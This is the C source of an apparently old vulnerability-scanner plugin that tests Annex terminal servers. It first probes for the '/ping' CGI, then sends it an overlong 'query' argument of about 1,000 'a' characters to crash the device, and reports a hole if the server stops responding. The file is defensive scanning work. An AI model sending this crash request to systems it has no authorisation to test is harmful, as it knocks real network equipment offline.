/*
 * 
 * annex_dos
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>


#define NAME "Annex"
#define DESC "It is possible to crash an Annex terminal server by sending \
a too long argument to the 'ping' CGI.\n\
Risk factor : High"
#define COPYRIGHT "found by the Redes2 Security Team"
#define SUMM "crashes an Annex terminal server"


PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}

int is_ping_installed(struct arglist * data)
{
  char * command = emalloc(200);
  short soc=-1;
  short i=0;
  char * buff = emalloc(256);
  
  sprintf(command, "GET /ping HTTP/1.0\nhostname: %s\n\n",  plug_get_hostname(data));
          
  soc = open_sock_tcp(data, 80);
  if(soc <0)return(0); /* couldn't open a connection */
  send(soc, command, strlen(command), 0);
  read(soc, buff, 255);
  efree(&command);
  close(soc);
 
  if(strstr(buff, "HTTP/1.0 200 ") || strstr(buff, "HTTP/1.1 200 "))i=1; /* No e
rror */
  else i=0; /* Error */
 efree(&buff);
  return(i);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	if(host_get_port_state(args, 80)<=0)return(0);
	
	
	if(is_ping_installed(args))
        {
         char * command, * crap;
         int soc;
         crap = emalloc(1024);
         command = emalloc(2048);
         
         memset(crap, 'a', 1023);
         sprintf(command, "GET /ping?query=%s\n\n\n", crap);
	 efree(&crap);
         
         if((soc = open_sock_tcp(args,80))>0)
          send(soc, command, strlen(command), 0);
         
         sleep(1);
         
         if((soc = open_sock_tcp(args, 80))<0)
         {
          post_hole(args, 80, "It is possible to crash the remote Annex terminal server \
by requesting the item '/ping?query=aaaaa(.....)aaaa'.\n\
Solution : contact your vendor for a fix");
          }
          efree(&command);
          }
         
        return(0);
}

